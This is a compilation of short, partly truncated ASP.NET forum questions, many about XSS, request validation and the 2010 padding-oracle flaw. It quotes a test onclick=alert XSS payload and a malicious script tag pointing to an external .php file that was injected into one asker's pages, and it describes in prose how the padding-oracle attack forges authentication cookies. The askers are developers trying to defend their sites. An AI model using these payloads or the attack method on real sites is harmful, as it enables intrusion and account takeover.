Cross Site Scripting Vulnerability?
Mar 25, 2010
We recently discovered that our web app was vulnerable to cross site scripting (XSS) attacks. We managed to manipulate our inputs to produce the following HTML:
[Code]....
Which executes an alert window when clicked.
After HTMLEncoding using the AntiXSS the web app successfully encodes the output to look like this:
<a href="javascript:__doPostBack('ctl00$ContentPlaceHolder1$CtlSearchList1$CtlListView1$DataGrid1$ctl03$ctl00','')">'); onclick=alert('This
is an XSS vulernability. An attacker could do anything here (redirect to another website, virus etc)');('.txt</a>
but the alert window still fires! What am I doing wrong?
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Feb 20, 2010
I want to pull down a feed (like twitter) and place in on a page using javascript (jquery). Ultimately, the "service" just needs to hand off JSON. I created a web service that allows me to do that, sort of. I don't know if using a stream reader is all that efficient and I was a little bothered by having to use what amounts to 2 evals on the clientside.
My question is twofold: is there a better method than using a web service and two, is there a problem with my implementation?
asmx:
[WebMethod]
public string World()
{
WebRequest request = WebRequest.Create("http://twitter.com/statuses/user_timeline/username.json?count=1");
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader reader = new StreamReader(response.GetResponseStream());
string tmp = reader.ReadToEnd();
response.Close();
reader.Close();
return tmp;
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aspx
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js" type="text/javascript"></script>
<script>
$(document).ready(function() {
$.ajax({
url: "WebService1.asmx/twitter",
type: "POST",
data: "{}",
contentType: "application/json; charset=utf-8",
dataType: "json",
success: function(obj) {
var t = eval(obj.d)[0].text;
$('div').html(t);
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Mar 9, 2011
where does following HTTP error message come from:
Due to the presence of characters known to be used in Cross Site Scripting attacks, access is forbidden. This web site does not allow Urls which might include embedded HTML tags.
We're using dynamically generated URLs and in this specific case the URL contains the characters '<' or '>'. We do URL encode the generated URL (so '%3C' appeary instead of '<') but it doesn't Our setup is ASP.NET MVC / IIS 7.5 / IE8. It's strange but it looks like the error appears only on some machines. So it could be that the IE internet zone settings are playing a role.
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Oct 25, 2010
this exception is caused by entering scripts or disallowed text as "<script>", "<h1>" by the user. This exception will be thrown while processing the request.
After searching and trying, most of the solutions were to:
1- disable request validation in the page header (validateRequest="false") or in the pages section in web.config.
I dont see this is a solution, the XSS problem is still there, it just does not throw the exception.
2- To encode the text and decode it using Server.HtmlEncode and Server.HtmlDecode.
This is a good one, but have to go every single textbox and call this method (Server.Encode(txtAddress.Text)), but this require alot of effort to change the whole site, and some of them may be forgotten.
I was thinking of creating a new TextBox control (MyTextBox) to inherit from System.Web.UI.WebControls.TextBox and override the Text property, then Encode base.Text in the get accessor, and Decode base.Text in the set accessor.
This will also require to change the whole site, to use MyTextBox instead of TextBox.
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Oct 15, 2010
a major problem from Cross-Site ScriptingAttack, Below is sample script which automatically gets inserted into my HTML and ASPX Pages.
"<script src=http://avidmarketing.ie/images/rc3/companybuttonwhite.php ></script>"
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Jan 21, 2010
To have a better secure application, we have to prevent cross site scripting.
I have application that use a bll.
All inputs have to pass bll before they were pass to database.
To prevent cross site scripting, is bll the correct place to validate the input?
To be exact, are all the properties of object should be validated?
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May 14, 2010
I am aware of a tool which MS has provided which tells you about coss site scripting attack etc.
The tool is [
But are there tools which you have used for ASP .NET applications which do similar to this and which one is widely used in ASP .Net applications ?
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Jul 7, 2010
I am building a website, within a large intranet, that wraps and adds functionality to another site within the same intranet. I do not have access to the other site's source and they do not provide any api's for the functionality they provide. I need to, somehow, have my server-side code go to that site, fill in some forms, then press a submit button. Is this possible? If so, how can I accomplish this?
Note: I am working in asp.NET if that matters at all.
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Feb 3, 2011
we host catalog data and UI for our clients. we do not build entire web site for them. so for the time being client puts an iframe and points URL to our hosting site. it was working fine but now just because of iframe they are lossing SEO.so my question is how to achieve my goal without iframe.
1) how can i embed/inject/merge UI hosted by US to our client web site.
2) Get SEO benefits
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Jan 16, 2010
I need to make my site work well on a blackberry, i haven't put too much effort into getting this working yet, but i have a few questions which google is struggling with.I've read about detecting brower type and modifying the default behaviour of asp.net controls hereHow would I go about supplying a differant stylesheet to a specific browser, should i just do this?
if (Request.Browser.Browser.ToString() == "blackberry") //pseudocode
{
Response.Write("bb.css");
}
else
{
Response.Write("bb.css");
}
This will work fine, but i feel like there is a better method, i'm sure i've read about something in the past but i can't seem to recall.I'm also considering a response.redirect to a differant page for a blackberry, which at the moment i would implemenet in a similar way.
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Nov 16, 2010
We have a lot of domains running on one IIS WebSite/AppPool.
Right now we are in the process of implementing SSO with Windows Identity Foundation.
in web.config the realm has to be set with
<wsFederation passiveRedirectEnabled="true" issuer="http://issuer.com" realm="http://realm.com" requireHttps="false" />
My problem is that the realm is dependent on which domain the user accessed the website on so what I did is that I set it in an global action filter like this
var module = context.HttpContext.ApplicationInstance.Modules["WSFederationAuthenticationModule"] as WSFederationAuthenticationModule;
module.Realm = "http://" + siteInfo.DomainName;
My question is. When I set the realm like this, is it set per user instance or application instance.
Scenario.
User A loads the page and the realm get set to domain.a.com.
User B is already logged in on domain.b.com and presses login.
Since user A loaded the page before User B pressed login, user A will hit the STS with the wrong realm set.
What will happen here?
If this is not the way to set the realm per user instance, is there another way to do it?
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Jul 30, 2010
I have an interesting issue I have racked my brain trying to find a solution to.
I have a site with a single master page. Part of that master page is a text field and button. They are not part of a content placeholder, they are simply part of the master page, itself, and are intended to allow people to search the site from any page on the site.
So, all search requests are routed to a search.aspx page, regardless. I am doing this by setting the PostBackUrl attribute of the button control to "search.aspx".
This all works great, except when I try to use this search capability from the search.aspx page, itself. I figure this is because I am using the Page.PreviousPage object and since a postback from the search.aspx page, itself will result in the Page.PreviousPage being Nothing, it is not performing the proper action.
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Mar 16, 2010
We have a GUI which runs on ASP.NET 2.0 framework (Client-Server model). From the support perspective how can one find whether the pages which are opening on GUI at any point of time is a server side scripting or Client side scripting.
The reason why I ask this is because I understand that some of the codes are executed by the browser such as Javascript. So, if there are such scripts which are handled by the client browser, how can one find out that it is the Client side scripting which is running at that moment.
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Jun 15, 2010
I am using asp.net 3.5 and have validateRequest="true" in the machine.config.
Do I need to do something special to stop CSRF and Cross Site scripting or asp.net will handle all these?
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Sep 20, 2010
In Scott Guthries blog on the ASP.NET Security vulnerability noted here he says that for ASP.NET 3.5 SP1+ the following attribute should be set in the custom errors section
redirectMode="ResponseRewrite"
What is the significance of this in relation to the vulnerability and why only 3.5 SP1 and above?
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Sep 15, 2010
I've just read on the net about a newly discovered security vulnerability in ASP.NET. You can read the details here. The problem lies in the way that ASP.NET implements the AES encryption algorithm to protect the integrity of the cookies these applications generate to store information during user sessions.This is a bit vague, but here is a more frightening part: The first stage of the attack takes a few thousand requests, but once it succeeds and the attacker gets the secret keys, it's totally stealthy.The cryptographic knowledge required is very basic.
All in all, I'm not familiar enough with the security/cryptograpy subject to know if this is really that serious.So, should all ASP.NET developers fear this technique that can own any ASP.NET website in seconds or what?How does this issue affect the average ASP.NET developer? Does it affect us at all?
In real life, what are the consequences of this vulnerability? And, finally: is there some workaround that prevents this vulnerability?EDIT: I'd like to summarize the responses I got so far.So, this is basically a "padding oracle" type of attack. @Sri provided a great explanation about what does this type of attack mean. Here is a shocking video about the issue!About the seriousness of this vulnerability: Yes, it is indeed serious. It lets the attacker to get to know the machine key of an application. Thus, he can do some very unwanted things.
In posession of the app's machine key, the attacker can decrypt authentication cookies.
Even worse than that, he can generate authentication cookies with the name of any user. Thus, he can appear as anyone on the site. The application is unable to differentiate between you or the hacker who generated an authentication cookie with your name for himself.It also lets him to decrypt (and also generate) session cookies, although this is not as dangerous as the previous one.Not so serious: He can decrypt the encrypted ViewState of pages. (If you use ViewState to store confidental data, you shouldn't do this anyways!)Quite unexpected: With the knowledge of the machine key, the attacker can download any arbitrary file from your web application, even those that normally can't be downloaded! (Including Web.Config, etc.)
Here is a bunch of good practices I got that don't solve the issue but help improve the general security of a web application.You can encrypt sensitive data with Protected Configuration Use HTTP Only cookies Prevent DoS attacksNow, let's focus on this issue.Scott Guthrie published an entry about it on his blogScottGu's FAQ blog post about the vulnerabilityScottGu's update on the vulnerabilityMicrosoft has a security advisory about itUnderstanding the vulnerabilityAdditional information about the vulnerabilityhe solutionEnable customErrors and make a single error page to which all errors are redirected. Yes, even 404s.
ScottGu said that differentiating between 404s and 500s are essential for this attack.) Also, into your Application_Error or Error.aspx put some code that makes a random delay. (Generate a random number, and use Thread.Sleep to sleep for that long.) This will make it impossible for the attacker to decide what exactly happened on your server.Some people recommended switching back to 3DES. In theory, if you don't use AES, you don't encounter the security weakness in the AES implementation. As it turns out, this is not recommended at all.Some other
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Sep 23, 2010
This question is somewhat of a follow up to How serious is this new ASP.NET security vulnerability and how can I workaround it? So if my question seems to be broken read over this question and its accepted solution first and then take that into the context of my question.Can someone explain why returning the same error page and same status code for custom errors matters? I find this to be immaterial especially if this is advocated as part of the work around to it.Isn't it just as easy for the script/application to execute this attack and not specifically care whether or not it gets a http status code and more on the outcome? Ie doing this 4000 times you get redirected to an error page where on 4001 you stay on the same page because it didn't invalidate the padding?
I see why adding the delay to the error page is somewhat relevant but doesn't this also just add another layer to fool the script into thinking the site is an invalid target?What could be done to prevent this if the script takes into account that since the site is asp.net it's running the AES encryption that it ignores the timing of error pages and watches the redirection or lack of redirection as the response vector? If a script does this will that mean there's NO WAY to stop it?Edit: I accept the timing attack reduction but the error page part is what really seems bogus. This attack vector puts their data into viewstate. There's only 2 cases. Pass. Fail.
Either Fail, they're on a page and the viewstate does not contain their data. No matter what you do here there is no way to remove the fail case because the page just will never contain their inserted data unless they successfully cracked the key. This is why I can't justify the custom errors usage having ANY EFFECT AT ALL.Or Pass, they're on a page and the viewstate contains their inserted data.Summary of this vulnerability
The cipher key from the WebResoure.axd / ScriptResource.axd is taken and the first guess of the validation key is used to generate a value of potential key with the ciphered text.This value is passed to the WebResource.axd / ScriptResource.axd at this point if the decryption key was guessed correctly their response will be accepted but since the data is garbage that it's looking for the WebResource.axd / ScriptResource.axd will return a 404 error.If the decryption key was not successfully guessed it will get a 500 error for the padding invalid exception. At this point the attack application knows to increment the potential decryption key value and try again repeating until it finds the first successful 404 from the WebResource.axd / ScriptResource.axd
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Sep 20, 2010
Just reading about this ASP.NET security vurnerability. Just wondering if this could be used to attack a WCF service hosted under IIS to get to its web.config or if its a pure ASP.NET vurnerability
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Sep 21, 2010
Why does the recent ASP.NET security vurnerability specify an html error page to redirect to pre ASP.NET 3.5 SP1 but an aspx page for later versions?
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Sep 29, 2010
Since installing the security patch for the ASP.NET Oracle Padding vunerability any user that was keeping themselves logged in to our site is getting error messages when hitting any page.
The errors logged on the server are
System.Web.UI.ViewStateException: Invalid viewstate.
Client IP: xxx.xxx.xxx.xxx
Port: 55796
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0
ViewState: l4nsXEvWcOwlDpmdbxw916bpHoPiqdBP7Syb+zCQAv44xv/r3oLtETKTL28/Gts6
Referer: Path: /product/4795/fender-usa-deluxe-stratocaster-mn-olympic-white-pearl
With custom errors switched off a user sees the following information
Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.Web.HttpException: Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.
Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.
Stack Trace: [ViewStateException: Invalid viewstate.
Client IP: xxx.xxx.xxx.xxx
Port: 3588
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
ViewState: s0toPCu7bxkB7a3G+KTxawY3ILf1qunZyIqNBKg8xSoqY2BkWIUCJAHKFKo2RnJw
Referer:
Path: /]
[HttpException (0x80004005): Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.]
System.Web.UI.ViewStateException.ThrowError(Exception inner, String persistedState, String errorPageMessage, Boolean macValidationError) +118
System.Web.UI.ViewStateException.ThrowMacValidationError(Exception inner, String persistedState) +13
System.Web.UI.ObjectStateFormatter.Deserialize(String inputString) +238
System.Web.UI.ObjectStateFormatter.System.Web.UI.IStateFormatter.Deserialize(String serializedState) +5
System.Web.Mvc.AntiForgeryDataSerializer.Deserialize(String serializedToken) +90
to delete all cookies and log back in, but obviously an average user, won't know to do this and I'm worried they will just think our site is broken.
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Jan 5, 2011
2nd in an occasional series:
Here's the first one
Is CAT.NET correct that the following is a genuine vulnerability in ASP.NET or is it a false positive?
var myInt = Int32.Parse(txtUserInput.Text);
Response.Redirect(string.Format("myPage.aspx?myId={0}", myInt);
CAT.NET is reporting this as a redirect vulnerability needing remediation via encoding myInt.
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Oct 29, 2010
Considering the recent ASP.NET vulnerability, what should I look for in my httphandlers that would cause such a Padding Oracle vulnerability?
Asked in another way... what did MSFT do wrong and what did they fix in their handlers?
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Jul 21, 2010
I've seen the <script type="text/C#> with intellisense.
If it is possible to script client side scripts in C#, some infomation or reference on how to do it. For example, do I need using statements, is the script compiled on the server.. etc.
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Oct 6, 2010
I am getting my database copies as sql script every week. I want the copies as it is on the server.
but there are a lot of option on the scripting. which ones do I need to choose for a proper copy.
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Oct 28, 2010
I have a site created using .net and the ajaxcontroltoolkit. When some users log on they do not see the controls on the page. I can duplicate this if I disable active scripting in ie. The problem is that the users I have spoken with have active scripting enabled. I have had them navigate to a site that tests javascript and it passes. Has anyone experienced this problem? If so what was your solution?
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